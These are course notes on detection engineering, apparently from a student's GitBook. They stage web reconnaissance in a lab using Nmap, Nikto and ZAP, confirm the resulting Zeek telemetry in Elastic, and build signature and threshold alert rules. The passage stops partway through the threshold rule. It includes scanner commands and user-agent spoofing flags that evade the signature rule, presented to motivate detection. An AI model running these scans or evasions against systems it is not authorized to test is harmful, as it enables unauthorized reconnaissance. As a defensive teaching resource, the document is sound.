> For the complete documentation index, see [llms.txt](https://0xzoro.gitbook.io/0xzoro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xzoro.gitbook.io/0xzoro/soc-operations/detection-engineering/03-attack-scenarios.md).

# 03 attack scenarios

## 3. Attack Scenarios & Atomic Red Team

> **Course:** TCM Security — Detection Engineering **Notes standard:** see [Detection Engineering Note-Taking Skill](https://claude.ai/cowork/00-notes-skill.md) **Scope:** Three progressive attack scenarios (execution, staging, exfil, recon), authoring a detection for each, plus Atomic Red Team: installing, running, and writing atomics.

***

### 3.1 Setting Up the Attack — Staging Scenario 1 (Web Recon over Zeek)

*Attack Scenarios, lecture 002. The first hands-on scenario. Before any detection exists, you have to **manufacture the behaviour you want to catch** and prove its telemetry reaches the SIEM. This lecture stands up a three-machine lab, brings the Zeek network sensor online, spins a throwaway web server on the target, drives some HTTP traffic at it from the attacker, and then finds that traffic in Elastic as `zeek.http` events. Nothing is detected yet — this is the substrate every later detection is built on.*

***

#### Why does a detection engineer "set up an attack" at all?

Because you cannot write a detection against behaviour you have never seen in your own data. The reliable loop is always the same: **run the behaviour → confirm the telemetry → then write logic against it.** Skipping the middle step is how you end up with a rule that looks correct and fires on nothing, because the field you keyed on was never populated, or the log source never reached the index you queried.

So "setting up the attack" is really *staging a controlled, known-good event* whose telemetry you can go and verify by hand. The attack in this lecture is deliberately trivial — a browser fetching a few files off a web server — because the lesson isn't the attack, it's the pipeline.

> **Mindset:** an attack scenario in detection engineering is a **telemetry-generation exercise**, not a hacking exercise. You already know what happened (you did it); the whole point is to answer *"did my sensor see it, and can I query it?"* — the §1.1 behaviour↔telemetry loop, now run at the network layer.

***

#### The lab — three machines and a sensor

The topology for this scenario:

```
   ParrotOS  (attacker)                 WindowsVM  (target)
   ┌───────────────────┐                ┌───────────────────┐
   │  Web Scanners     │                │                   │
   │   - Nmap          │   HTTP :8000   │   Web Server      │
   │   - Nikto         │ ─────────────▶ │   (python http)   │
   │   - ZAP           │                │                   │
   └─────────┬─────────┘                └─────────┬─────────┘
             │                                    │
             └──────────────┐      ┌──────────────┘
                            ▼      ▼
                        ┌───────────────┐
                        │     Zeek      │  ← network sensor (inline)
                        │  (http.log …) │
                        └───────┬───────┘
                                │ ships logs
                                ▼
                            Elastic / Kibana  (SIEM)
```

Each piece and why it's there:

* **ParrotOS — the attacker host.** Runs the offensive tooling (**Nmap**, **Nikto**, **ZAP** — web scanners). In this first lecture it's used only as a plain HTTP client (a browser), but it's the machine that *originates the behaviour*. In the logs it's the **source** IP.
* **WindowsVM — the target.** Runs the thing being attacked — here, a **web server**. It's the **destination** in the logs. Making Windows the victim matters later because Windows host telemetry (Sysmon, Elastic Defend, PowerShell logging from Module 2) is the richest place to catch host-side attacks; for *this* lecture we care about what crosses the wire, not what happens on the host.
* **Zeek — the network sensor.** Sits on the network path between the two machines and records a structured log of every connection it sees. This is the star of the lecture. Zeek isn't an EDR on a host — it's a passive **network monitor** that turns raw packets into readable, per-protocol logs (`conn.log`, `http.log`, `dns.log`, …). Those logs are what ship into Elastic.
* **Elastic / Kibana — the SIEM.** Where Zeek's logs land, normalised into ECS, ready to be queried in Discover and eventually turned into rules.

> **Think of it as** a CCTV camera in a hallway. ParrotOS and Windows are two rooms talking to each other; Zeek is the camera in the corridor between them, recording who walked where. It doesn't need an agent installed in either room — it watches the traffic itself.

***

#### Why Zeek, when Module 2 already gave us host EDR?

Because host and network telemetry answer different questions, and a mature detection program wants both:

* **Host telemetry** (Elastic Defend, Sysmon) sees *what a process did on a machine you control* — but only on machines where the agent is installed and healthy.
* **Network telemetry** (Zeek) sees *the conversation itself* — regardless of whether either endpoint runs an agent. It catches traffic to/from unmanaged hosts, IoT, printers, rogue devices, and lateral movement that never generates a clean host event.

Zeek is the network-visibility layer of the same pipeline. This scenario is the introduction to reading its data.

***

#### Step 1 — bring the Zeek sensor online

Zeek is managed through **ZeekControl** (`zeekctl`), its operational front-end. From the Zeek host (Ubuntu, in `/opt/zeek/bin`):

```bash
cd /opt/zeek/bin
./zeekctl
```

That drops you into the **ZeekControl** interactive prompt (`[ZeekControl] >`). To actually start monitoring:

```
[ZeekControl] > deploy
```

**What `deploy` does — and why it's one command, not three:** `deploy` is shorthand for *check the configuration, install it, and (re)start the Zeek workers*. It's the equivalent of "apply and go." If you only start Zeek without deploying a config change, the sensor runs with stale settings; `deploy` guarantees the running sensor matches the config on disk.

**The ZeekPort warning is noise here.** On startup ZeekControl prints a block of `WARNING:` lines about `ZeekPort` and firewall rules between Zeek nodes. That warning only matters in a *multi-node* Zeek cluster where workers talk to each other across hosts. On a single-host lab sensor there's nothing to do — it can be silenced with `set zeek_port_warning.disable = 1` in `zeekctl.cfg`, but it's safe to ignore.

Once `deploy` reports the workers are up, Zeek is watching the wire and writing logs.

***

#### Step 2 — stand up the target web server

On the **Windows** machine, a one-line web server via PowerShell (Python's built-in HTTP server):

```powershell
python -m http.server
```

Output confirms it's listening:

```
Serving HTTP on :: port 8000 (http://[::]:8000/) ...
```

**Why a throwaway Python server?** Because the scenario needs *something listening that will answer HTTP requests* — the specific app is irrelevant. `python -m http.server` serves the current directory over HTTP on port **8000** with zero setup. It's the fastest way to create a real, observable HTTP conversation on the network. The port (`8000`) becomes the `destination.port` you'll see in Zeek's logs.

This same PowerShell window doubles as a crude **server-side access log** — every request the server answers prints a line, which is handy for sanity-checking that traffic is arriving before you even open Elastic.

***

#### Step 3 — generate the behaviour

From **ParrotOS** (`192.168.56.137`), reach the Windows web server (`192.168.56.139:8000`) in a browser and request a few resources:

* `GET /` — the directory index
* `GET /Documents/` — a subdirectory
* `GET /testfile.txt` — a file
* `GET /favicon.ico` — auto-requested by the browser (returns 404; harmless)

On the Windows side, the PowerShell access log shows exactly these hits arriving from `192.168.56.137`, with status codes (`200` for the real resources, `404` for the missing favicon). That's server-side confirmation. But server logs aren't the point — **Zeek watched the same conversation from the network**, and that's what we go verify next.

***

#### Step 4 — confirm the telemetry landed (the actual objective)

In **Kibana → Discover**, query for Zeek's HTTP data:

```kql
event.dataset : zeek.http
```

Result: **4 hits** — one per HTTP request above. This is Zeek's `http.log`, shipped into Elastic and normalised into ECS. The fields that matter for a detection engineer, and what each one gives you:

* **`source.ip`** (`192.168.56.137`) — who initiated. Your attacker/client. The pivot for "which host is doing this."
* **`destination.ip`** (`192.168.56.139`) — what they talked to. Your target/server.
* **`destination.port`** (`8000`) — the service. Distinguishes web-on-8000 from web-on-443, DNS-on-53, etc. Often the first filter in a network detection.
* **`url.path`** (`/`, `/Documents/`, `/testfile.txt`) — *what was requested*. This is where web-recon and web-attack detections live: enumeration patterns, scanner fingerprints, suspicious paths, LFI/traversal strings.
* **`user_agent.original`** (`Mozilla/5.0 … Firefox/102.0`) — *how* it was requested. A browser UA looks benign; a scanner UA (`Nikto`, `sqlmap`, `Nmap NSE`) is a giveaway. UA is a classic — if weak — signal for tool detection.

> **Reconciling — this is the §1.1 loop, at the network layer.** Behaviour (HTTP requests) → telemetry generated (Zeek `http.log`) → log source normalised (`zeek.http` in Elastic, ECS fields) → *queryable evidence*. That chain is now proven for network HTTP. Only once it's proven does building a detection make sense — which is exactly what lecture 003 (performing the real attack) and 004/005 (the Query and Threshold alerts) go on to do. **No detection has been written yet**, and that's correct: you validate the pipeline first, then automate the catch.

***

#### Key Takeaways (Quick Reference)

* **"Setting up the attack" = generating known-good telemetry**, not hacking. You do the thing so you can verify the sensor saw it.
* **Zeek** is passive **network** telemetry — it logs the conversation off the wire, no host agent required. Complements (doesn't replace) host EDR from Module 2.
* **`zeekctl` → `deploy`** brings the sensor online; `deploy` = check + install + (re)start config. The multi-node `ZeekPort` warning is safe to ignore on a single host.
* **`python -m http.server`** = instant HTTP target on port **8000**; the app doesn't matter, the traffic does.
* **Verify in Discover with `event.dataset : zeek.http`.** Empty results usually mean wrong data view or wrong time range, not missing data.
* Detection-relevant Zeek HTTP fields: `source.ip`, `destination.ip`, `destination.port`, `url.path`, `user_agent.original`.
* Sequence is law: **behaviour → confirm telemetry → then detection.** This lecture stops at "confirm."

***

#### Related Topics

```
§1.1 Unit Testing (behaviour ↔ telemetry)  →  §3.1 (same loop, network layer)
§2.3 Installing the Elastic Agent (Zeek onboarding)  →  §3.1 (reading Zeek's data)
§2.1 Discover & KQL  →  §3.1 (event.dataset : zeek.http)
§3.1 Setting up the attack  →  §3.2 Performing the attack  →  §3.3 First Query/Threshold alert
Host telemetry (Sysmon, Elastic Defend)  ⟷  Network telemetry (Zeek)  — complementary coverage
```

***

### 3.2 Performing the Attack — Web Recon with Nmap, Nikto & ZAP

*Attack Scenarios, lecture 003. Now the behaviour gets generated for real. Three web-facing recon tools are run from the ParrotOS attacker against the Windows web server, in deliberately increasing intensity: **Nmap** (service/version fingerprint), **Nikto** (web vulnerability scan), and **OWASP ZAP** (full automated spider + active scan). Each is louder than the last, and each leaves a different-shaped trail in Zeek — which is exactly the point.*

***

#### What does "performing the attack" mean at this stage?

It means running reconnaissance against the target and letting the sensor watch. Web recon is almost always the **first thing an attacker does** to a web-facing host: identify what's running (server, version, technology), enumerate what's exposed (paths, files, endpoints), and probe for known weaknesses. It's low-effort, high-value, and it happens on essentially every real intrusion — which is exactly why it's worth detecting.

For us the recon *is* the telemetry generator. Three tools are run not because you'd use all three every time, but because they sit at three different points on the noise spectrum, and comparing their footprints teaches the core lesson of the whole module.

> **Mindset:** recon is **loud in network telemetry** — a scanner makes in seconds the number of requests a human makes in an hour. The detection engineer's job isn't "detect scanning" in the abstract; it's to decide *which property of that noise* to key on — the tool's **signature** (user-agent, request pattern) or its **volume** (requests per host per minute) — because each choice has different false-positive and false-negative costs. That single decision is what separates lecture 004's alert from lecture 005's.

***

#### Tool 1 — Nmap service/version scan (the quiet one)

```bash
sudo nmap -sV -p 8000 192.168.56.139
```

Observed output:

```
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-25 15:54 BST
Nmap scan report for 192.168.56.139
Host is up (0.00049s latency).

PORT     STATE SERVICE VERSION
8000/tcp open  http    SimpleHTTPServer 0.6 (Python 3.11.4)
MAC Address: 08:00:27:3A:BD:83 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 6.53 seconds
```

**What `-sV` does — and why it's the flag that matters here.** `-sV` is **service/version detection**: instead of just reporting "port 8000 is open," Nmap opens the connection, reads the response, and matches it against its service-fingerprint database to identify *what software and version* is answering. Here it correctly fingerprints the target as `SimpleHTTPServer 0.6 (Python 3.11.4)` — i.e. it saw through "something on 8000" to "Python's `http.server`." `-p 8000` restricts the scan to the one port we already know is the target, keeping it fast and focused.

**Network footprint / detection angle.** This is the *quietest* of the three — a handful of connections to a single port and a banner grab. In Zeek it looks like a small burst of activity to `destination.port: 8000`. Version detection alone is hard to detect on volume (it's only a few connections); it's more detectable when Nmap sweeps *many* ports or hosts. Version-scan of one known port is low-signal on its own — worth remembering that **not every recon action is a strong detection candidate.**

***

#### Tool 2 — Nikto web vulnerability scan (the noticeably louder one)

```bash
sudo nikto -h 192.168.56.139:8000
```

Observed output:

```
- Nikto v2.1.5
+ Target IP:          192.168.56.139
+ Target Port:        8000
+ Server: SimpleHTTP/0.6 Python/3.11.4
+ The anti-clickjacking X-Frame-Options header is not present.
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ SimpleHTTP/0.6 appears to be outdated (current is at least 1.2)
```

**What Nikto is.** A dedicated **web server vulnerability scanner**. It fires hundreds of requests at the target testing for known-bad paths, default files, missing security headers, outdated server versions, dangerous CGI directories, and common misconfigurations. Here it confirms the server banner, flags the missing `X-Frame-Options` header, and notes the server version looks outdated — thin findings against a bare Python server, but on a real app the list would be long.

**Network footprint / detection angle.** Much louder than Nmap — Nikto generates a large burst of HTTP requests in a short window, many hitting non-existent paths (lots of **404s**), all from a single source. Two strong signals fall out of that:

* **User-agent signature** — Nikto identifies itself in the `user_agent.original` field by default. A UA containing `Nikto` is a near-certain scanner hit.
* **Request volume / error rate** — the sheer count of requests (and the ratio of 404s) from one `source.ip` in a short time is anomalous on its own, even if the UA is spoofed.

This is the first tool that's a *good* detection candidate, and it foreshadows both alert types: catch the UA (signature) **or** catch the volume (threshold).

***

#### Tool 3 — OWASP ZAP automated scan (the loudest one)

Run from the ZAP GUI (**OWASP ZAP 2.12.0**) via **Quick Start → Automated Scan**, target `http://192.168.56.139:8000`, "Use traditional spider" enabled, then **Attack**.

Observed during the run: the spider is crawling the site — status bar shows `URLs Found: 141`, `Nodes Added: 33`, scan at \~24% and climbing.

**What the ZAP automated scan is.** [OWASP ZAP](https://www.zaproxy.org/) is a full web application security scanner. Its **Automated Scan** does two things back-to-back:

1. **Spider** — crawls the application, following every link it can find to map out the full set of URLs/endpoints (that's the `URLs Found: 141` climbing in real time).
2. **Active scan** — then attacks each discovered endpoint with payloads (injection, XSS, traversal, etc.) looking for vulnerabilities.

**Network footprint / detection angle.** This is by far the **noisiest** — spidering plus active-scanning a site means *thousands* of HTTP requests from one source in a short window, hitting a huge and rapidly-growing set of `url.path` values, many of them junk. If Nikto is loud, ZAP is a fire alarm. It is the textbook case for a **volume-based (threshold) detection**: no single request looks special, but "one host made 2,000 requests to this server in a minute" is unmistakable. It also carries a default ZAP user-agent, so the signature angle works too.

***

#### Three tools, three noise levels → three detection strategies

The whole reason to run all three is this comparison — it's the setup for the next lectures:

| Tool              | What it does                                | Dominant signal in Zeek                       | Best-fit detection                                                          |
| ----------------- | ------------------------------------------- | --------------------------------------------- | --------------------------------------------------------------------------- |
| **Nmap `-sV`**    | Service/version fingerprint of one port     | A few connections to `:8000`; a banner grab   | Weak on its own; catch on port/host *sweeps*, not single-port version scans |
| **Nikto**         | Web vuln scan, hundreds of requests         | `Nikto` user-agent + burst of requests & 404s | **Signature** (user-agent) → *lecture 004's Query alert*                    |
| **ZAP automated** | Spider + active scan, thousands of requests | Massive request volume from one source        | **Volume** (requests-per-host threshold) → *lecture 005's Threshold alert*  |

> **Reconciling — this is why both alert types exist.** A **signature** detection (match the scanner's user-agent) is precise but brittle: trivially evaded by changing the UA string. A **volume/threshold** detection (too many requests from one host) survives UA spoofing but needs a well-chosen threshold or it either misses slow scans or drowns you in false positives from busy legitimate clients. Neither is "the right answer" — real coverage uses both, and the next two lectures build one of each against the traffic we just generated.

***

#### MITRE ATT\&CK

All three tools map to the **Reconnaissance** tactic ([TA0043](https://attack.mitre.org/tactics/TA0043/)):

* [**T1595 — Active Scanning**](https://attack.mitre.org/techniques/T1595/) covers all of it: the adversary is actively probing infrastructure via network traffic (as opposed to passive OSINT).
* [**T1595.002 — Vulnerability Scanning**](https://attack.mitre.org/techniques/T1595/002/) is the precise sub-technique for **Nikto** and **ZAP** — they check the target against known vulnerabilities and misconfigurations, not just open ports.
* **Nmap `-sV`** sits at the boundary: version detection is reconnaissance/fingerprinting (T1595). If the same scan were run *inside* a network to enumerate internal services, it would instead map to [**T1046 — Network Service Discovery**](https://attack.mitre.org/techniques/T1046/) under the Discovery tactic — the tool is the same, the tactic depends on where the attacker is standing.

Mapping *why*, not just the ID: this is external, network-based probing of a target's exposed service — the definition of Active Scanning — which is why a detection here belongs in your recon/early-kill-chain coverage.

***

#### Key Takeaways (Quick Reference)

* Web recon (**Nmap → Nikto → ZAP**) is the near-universal first move against a web-facing host, and the target of this detection scenario.
* `nmap -sV -p 8000 <ip>` = **service/version detection** on one port; correctly fingerprinted the target as `SimpleHTTPServer 0.6 (Python 3.11.4)`. Quietest; weak detection candidate alone.
* **Nikto** = web vuln scanner; loud, self-identifies in the **user-agent**, generates many requests and 404s → good **signature** detection candidate.
* **ZAP automated scan** = spider + active scan; *thousands* of requests (`URLs Found` climbs into the hundreds) → the textbook **volume/threshold** detection candidate.
* The three-tool spread is intentional: it maps **signature vs volume** detection, which is exactly the split between the coming **Query alert** (004) and **Threshold alert** (005).
* ATT\&CK: **T1595 Active Scanning** (Reconnaissance); **.002 Vulnerability Scanning** for Nikto/ZAP. Same Nmap scan *inside* a network → **T1046** instead.
* Signature detections are precise but UA-spoofable; volume detections survive spoofing but need a well-tuned threshold. Real coverage uses both.

***

#### Related Topics

```
§3.1 Setting up the attack (telemetry confirmed)  →  §3.2 Performing the attack (behaviour generated)
§3.2  →  §3.3 First Query alert (signature: user-agent)  +  §3.4 First Threshold alert (volume)
zeek.http fields (§3.1: url.path, user_agent.original, source.ip)  →  §3.2 (what the scanners populate)
Signature vs Threshold detection  ⟷  Evasion (UA spoofing) vs Tuning (threshold choice)
MITRE T1595 Active Scanning  →  early-kill-chain / recon detection coverage
```

***

### 3.3 Creating the First Detection — A Custom Query (Signature) Alert

*Attack Scenarios, lecture 004. The first real detection. The scanning from §3.2 is now sitting in Elastic as thousands of `zeek.http` events; this lecture hunts the scanner **signature** in Discover, hardens it into a query, and saves it as an Elastic Security **Custom Query rule** that runs on a schedule and raises an alert. Along the way: reading field statistics to find the signature, alert suppression, scheduling, rule actions, and attaching the MITRE mapping. This is the signature half of the signature-vs-volume split from §3.2.*

***

#### What is a "rule" in Elastic, really?

An Elastic Security **detection rule** is a **saved query that runs itself on a schedule.** You write a query that describes suspicious behaviour; the rule engine re-runs it every *N* minutes against your indices, and for every document that matches, it writes an **alert** (internally a "signal") into the alerts index — which is what shows up in the Security → Alerts view, fires notifications, and opens cases.

That's the whole idea of a detection: take a question you can answer by hand in Discover and make the SIEM ask it automatically, forever. So the workflow is always **prototype the query in Discover → prove it catches what you want and nothing you don't → promote it to a rule.**

> **Mindset:** you never write a rule blind. The query is developed and validated interactively in Discover *first* (§2.1) — the rule is just that proven query, put on a timer. A rule built without first watching its query in Discover is a rule you can't trust.

***

#### Step 1 — hunt the signal in Discover

Start where §3.1 ended, but now the scans have run:

```kql
event.dataset : zeek.http
```

This returns **\~14,704 hits** now (versus 4 in §3.1) — the scanners generated the volume. Toggle useful fields into columns (`source.ip`, `destination.ip`, `url.path`, `user_agent.original`) so each row reads at a glance. Expanding a single document shows the full Zeek record, including the fields that tell you *what index this even is*:

* `_index` → `.ds-logs-zeek.http-default-2023.06.12-000001` — a Zeek HTTP data-stream backing index
* `data_stream.dataset` → `zeek.http`, `data_stream.type` → `logs`
* `agent.name` → `Zeek`, `agent.type` → `filebeat`, `agent.version` → `8.8.1` (Filebeat is the shipper carrying Zeek's logs)
* `destination.ip` → `192.168.56.139`, `destination.port` → `8000`

*(Knowing the real index name matters in a moment — a rule that points at the wrong index pattern will match zero of these.)*

***

#### Step 2 — let the field statistics reveal the signature

Instead of guessing what a scanner looks like, **ask the data.** Switch from *Documents* to the **Field statistics** tab and open `user_agent.original`:

* **4,558 distinct values** across the sample — a huge spread, which itself is a scanning tell (a normal server sees a handful of browser UAs, not thousands).
* The **top values are almost entirely Nikto**: `Mozilla/5.00 (Nikto/2.1.5) (Evasions:None) (Test:map_codes)`, `(Test:cgi dir check)`, `(Test:001390)`, and so on — Nikto stamps *every test category* into its user-agent. In the sample it's **99.8%** of documents.

This is the empirical way to discover a signature: the loudest tool leaves the most obvious fingerprint, and `user_agent.original` is where a web scanner announces itself. **Nikto is trivially caught on UA** — any value containing `Nikto`.

***

#### Step 3 — exclude the loud one to surface the quiet one

Nikto so dominates that it hides everything else. A classic hunting move is to **filter the noise out and see what's left**:

```kql
event.dataset : zeek.http and NOT user_agent.original: *Nikto*
```

Now \~**2,892 hits**, and the top `user_agent.original` values change completely:

* `Mozilla/5.0 (Windows NT 10.0; Win64; x64) … Firefox/105.0` — **99.6%**, a real browser (legitimate traffic — the baseline)
* `Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)` — the **Nmap NSE** user-agent
* another Firefox string

So **Nmap's scripting engine also self-identifies** in the UA (`Nmap`). Excluding Nikto let the much smaller Nmap signal rise to the surface — exclusion isn't the detection, it's the *technique for finding* the second signature.

> **Note — the `*wildcard*` matters.** `user_agent.original: *Nikto*` matches the substring anywhere in the string; without the leading/trailing `*`, KQL would require the *whole field* to equal `Nikto`, which never happens (it's buried inside `Mozilla/5.00 (Nikto/2.1.5)...`). Substring wildcards are what make UA-signature matching work.

***

#### Step 4 — the detection query

Combine both scanner signatures into one detection (course's final form):

```kql
event.dataset: zeek.http and user_agent.original: *Nmap* or user_agent.original: *Nikto*
```

This catches any `zeek.http` event whose user-agent looks like Nmap or Nikto.

> **Engineering note — operator precedence.** In KQL `and` binds *tighter* than `or`, so the query above actually parses as `(event.dataset: zeek.http and user_agent.original: *Nmap*) or (user_agent.original: *Nikto*)` — the Nikto clause is **not** scoped to `zeek.http`. In this lab it makes no practical difference (the Nikto UA only ever appears in HTTP logs), but the precise, intent-matching form is to parenthesize the OR:
>
> ```kql
> event.dataset: zeek.http and (user_agent.original: *Nmap* or user_agent.original: *Nikto*)
> ```
>
> This is exactly the kind of subtlety that makes a detection fire on data you didn't expect. Worth internalising: *`AND` before `OR`, parenthesise when you mean it.*

> **Mindset — what a signature detection actually keys on.** This rule works because the tools *announce themselves*. That makes it **cheap and precise** (near-zero false positives) but **brittle**: an attacker who changes one flag (`nikto -useragent "..."`, or Nmap's `--script-args http.useragent=...`) evades it completely. That brittleness is *why* the volume-based Threshold alert (§3.4) exists — it catches the scan even when the UA lies.

***

#### Step 5 — promote the query to a rule

**Security → Manage → Rules → Create new rule.** Elastic offers six **rule types**; choosing the right one is a detection-design decision:

| Rule type                   | What it does                                         | When you'd use it                                      |
| --------------------------- | ---------------------------------------------------- | ------------------------------------------------------ |
| **Custom query**            | Runs a KQL/Lucene query; alerts on each match        | Signature/field-match detections — **this one**        |
| **Machine Learning**        | Alerts on an ML anomaly job                          | Behavioural anomalies with no fixed signature          |
| **Threshold**               | Aggregates, alerts when a count exceeds a limit      | **Volume** detections — the §3.4 scanner-by-count rule |
| **Event Correlation (EQL)** | Matches ordered event sequences                      | Multi-step behaviour ("A then B then C")               |
| **Indicator Match**         | Joins your data against threat-intel indicators      | IOC matching (known-bad IPs/hashes/domains)            |
| **New Terms**               | Alerts when a field value appears for the first time | First-seen detection (new user, new host, new UA)      |

Pick **Custom query** and paste the query from Step 4.

**Source indices — the silent failure mode.** The rule's *Source* is set with **Index Patterns** (or a **Data View**). The default patterns (`apm-*`, `auditbeat-*`, `filebeat-*`, `logs-*`, `packetbeat-*`, …) must actually include where Zeek lives (`logs-*` / `.ds-logs-zeek.http-*`). **If the source patterns don't cover the Zeek index, the rule matches nothing and fails silently** — the same "empty results = wrong data source, not missing data" trap from §2.1, now with real consequences.

***

#### Step 6 — alert suppression ("Suppress alerts by")

A single ZAP or Nikto run is *thousands* of matching events. Without suppression that's **thousands of alerts** for one attack — an unusable flood. **Suppress alerts by** (a field, e.g. `source.ip`) tells the rule to **collapse all matches sharing that field value into a single alert** over the rule's window.

* Group by `source.ip` → *one* alert per scanning host, not one per request.
* It's the difference between "🚨 host 192.168.56.137 is scanning you" and 4,000 identical pages.
* (Marked **Technical Preview** in this Elastic version — the concept is core regardless.)

This is deduplication as a first-class rule feature, and it's what makes a noisy-by-nature detection like scanning actually deployable.

***

#### Step 7 — schedule (run every 5 minutes)

The rule is set to **run every 5 minutes**. Two knobs matter:

* **Runs every** (`5m`) — how often the query re-executes. Trade-off: shorter = faster detection, more load; longer = cheaper, more delay.
* **Additional look-back time** — each run also re-scans a bit *before* its window, so events that arrived late (ingest lag) or landed on a run boundary aren't missed. Without overlap you get gaps between runs.

> **Mindset:** schedule is a latency-vs-cost decision, and look-back is insurance against the gap between "event happened" and "event was indexed." A 5-minute rule with no look-back can miss events that indexed 6 minutes late.

***

#### Step 8 — rule actions & response actions

**Actions** decide *what happens when the rule fires.* Elastic ships connectors for **Email, Slack, Microsoft Teams, Jira, PagerDuty, Opsgenie, ServiceNow (ITOM/ITSM/SecOps), IBM Resilient, Swimlane, Tines, Torq, Webhook, Index**. Typical wiring: notify the SOC channel, open a ticket, or push to a SOAR platform. Actions can run per-alert or on a schedule (e.g. a digest).

**Response Actions** (Technical Preview) go further — they *run something on each rule execution* rather than just notifying. **Osquery** is the example: automatically collect host state when the rule triggers, so the investigator already has context when they open the alert.

> Distinction worth keeping: **Actions = tell a human/system** (notification/ticket/SOAR). **Response Actions = do something active** (collect/respond) automatically.

***

#### Step 9 — the About section is part of the detection (Advanced settings)

Under **About rule → Advanced settings**, the metadata isn't decoration — it's what makes an alert *actionable at 3 a.m.*:

* **Severity / Risk score** — how loud this alert should be.
* **Reference URLs** — links to the technique / threat writeup.
* **False positive examples** — the known-benign cases that also match (e.g. an authorised internal vuln scan). This is where you *pre-answer* "is this real?".
* **Investigation guide** — the runbook the responder follows.
* **MITRE ATT\&CK threats** — the technique mapping (added here as **Discovery (TA0007) → Network Service Discovery (T1046)**).

> **Reconciling — documentation&#x20;*****is*****&#x20;the detection.** Per the note-taking standard, a detection you can't trace, test, and explain isn't finished. The query catches the behaviour; the About fields are what let a human *act* on the catch and what make the rule reviewable as detection-as-code. Skipping them produces alerts nobody knows what to do with.

***

#### MITRE ATT\&CK

The course tags this rule **Discovery (TA0007) →** [**Network Service Discovery (T1046)**](https://attack.mitre.org/techniques/T1046/) — framing the scan as *enumerating what services are running*, which is a reasonable read given Nmap's `-sV`.

Worth holding alongside the §3.2 mapping: pure **external, internet-facing** scanning of a target's exposed service is textbook [**Active Scanning (T1595)**](https://attack.mitre.org/techniques/T1595/) under **Reconnaissance (TA0043)**; the *same tooling used inside* a network to enumerate reachable services is **T1046** under **Discovery**. The two aren't a contradiction — they're the same action at different points in the kill chain. Tag by *where the attacker is standing and what they're trying to learn*; the course's lab framing (already-inside, enumerating the target's service) lands it on T1046. Either way, the rule belongs to early-stage recon/discovery coverage.

***

#### Key Takeaways (Quick Reference)

* A rule = **a saved query on a schedule** that writes an alert per match. Always prototype the query in **Discover** first, then promote it.
* **Field statistics** on `user_agent.original` reveal the signature empirically: Nikto stamps `Test:` categories into its UA (99.8% of traffic); Nmap NSE self-IDs as `Nmap Scripting Engine`.
* **Exclude the loud tool** (`NOT *Nikto*`) to surface the quiet one — a hunting technique, not the detection.
* Detection query: `event.dataset: zeek.http and user_agent.original: *Nmap* or user_agent.original: *Nikto*`. **Mind precedence** — `AND` before `OR`; parenthesise the OR to scope it: `... and (user_agent.original: *Nmap* or user_agent.original: *Nikto*)`.
* Signature detection = tools announcing themselves: **cheap, precise, brittle** (UA-spoof evades it). That's why §3.4 (Threshold) exists.
* Six rule types: **Custom query** (this), Threshold (§3.4), ML, EQL/Event Correlation, Indicator Match, New Terms.
* **Source indices must include the Zeek index** or the rule silently matches nothing.
* **Suppress alerts by `source.ip`** → one alert per scanning host, not thousands. Essential for noisy detections.
* **Schedule** = runs-every (5m) + look-back (covers ingest lag / run-boundary gaps).
* **Actions** notify (Slack/Jira/PagerDuty/…); **Response Actions** (Osquery) actively collect on trigger.
* The **About** fields (severity, references, FP examples, investigation guide, **MITRE**) are part of the detection — they make the alert actionable and reviewable.

***

#### Related Topics

```
§3.2 Performing the attack (scanner signals)  →  §3.3 Custom Query alert (catch the signature)
§3.3 Signature detection (brittle, UA-spoofable)  →  §3.4 Threshold detection (catch by volume)
§2.1 Discover & KQL  →  §3.3 (prototype the query, then promote to a rule)
§1.1 Unit testing / documentation  →  §3.3 About fields (FP examples, investigation guide, MITRE)
Rule types: Custom query · Threshold · ML · EQL · Indicator Match · New Terms
Suppress alerts by  ⟷  alert flooding / deduplication
MITRE T1046 Network Service Discovery (course)  ⟷  T1595 Active Scanning (external recon lens)
```

***

### 3.4 Creating a Threshold (Volume) Alert

*Attack Scenarios, lecture 005. The second detection against the same scan — but this one catches by **volume**, not signature. Where §3.3 matched the scanner's user-agent, this Threshold rule counts requests per source→destination pair and alerts when the count crosses a line, with no reference to the UA at all. It's the answer to §3.3's brittleness: it survives user-agent spoofing. The price is a number you have to tune. This closes the signature-vs-volume pair set up in §3.2.*

***

#### Why build a second rule for an attack we already detect?

Because the §3.3 signature rule has one fatal weakness: it only works while the scanner tells the truth. Change one flag —

```bash
nikto -h 192.168.56.139:8000 -useragent "Mozilla/5.0 (Windows NT 10.0)"
# or Nmap:  --script-args http.useragent="Mozilla/5.0"
```

— and the `*Nikto*` / `*Nmap*` match finds nothing. The behaviour is identical; only the label changed.

A **volume** detection doesn't look at the label. A scanner's defining property isn't its user-agent — it's that **it makes an abnormal number of requests in a short time.** You can spoof a string; you can't spoof a thousand requests down to ten and still scan. So the detection keys on the *shape of the traffic*, which is far harder to hide.

> **Mindset:** signature asks *"does this request look like a tool?"*; threshold asks *"is anyone making an inhuman number of requests?"*. The first is precise but evadable; the second is robust but needs calibration. Neither is "better" — they fail in opposite directions, which is exactly why you run both.

***

#### What a Threshold rule does differently

The **Custom query** rule from §3.3 is *per-event*: every matching document becomes a candidate alert. A **Threshold** rule is *aggregate*: it groups the matching documents into buckets, **counts** each bucket, and only alerts when a bucket's count meets or exceeds a threshold.

Two consequences fall straight out of that:

* It detects **volume**, which is the whole point — "1000 requests" is a count, and only a threshold rule can express it.
* It **deduplicates for free** — one alert per bucket, not per event. (In §3.3 we needed *Suppress alerts by* to avoid a flood; a threshold rule is inherently one-alert-per-group.)

***

#### The configuration

**Security → Manage → Rules → Create new rule → Threshold.**

**Source** — Index Patterns, same defaults (`logs-*`, `filebeat-*`, `winlogbeat-*`, `-*elastic-cloud-logs-*`, …). As in §3.3, these must include the Zeek index or the rule counts nothing.

**Custom query:**

```kql
event.dataset : "zeek.http"
```

Note what's **not** here: no `user_agent.original` filter. That's deliberate — the query's job is only to select *all HTTP traffic*; the detection lives in the aggregation below, not in the query. This is the structural difference from §3.3.

**Group by:** `source.ip` **and** `destination.ip` — *fields are joined with AND*, so the bucket key is the **pair**. Each unique (source, destination) combination is one bucket.

* Grouping by `source.ip` alone would lump one host's traffic to *every* destination together.
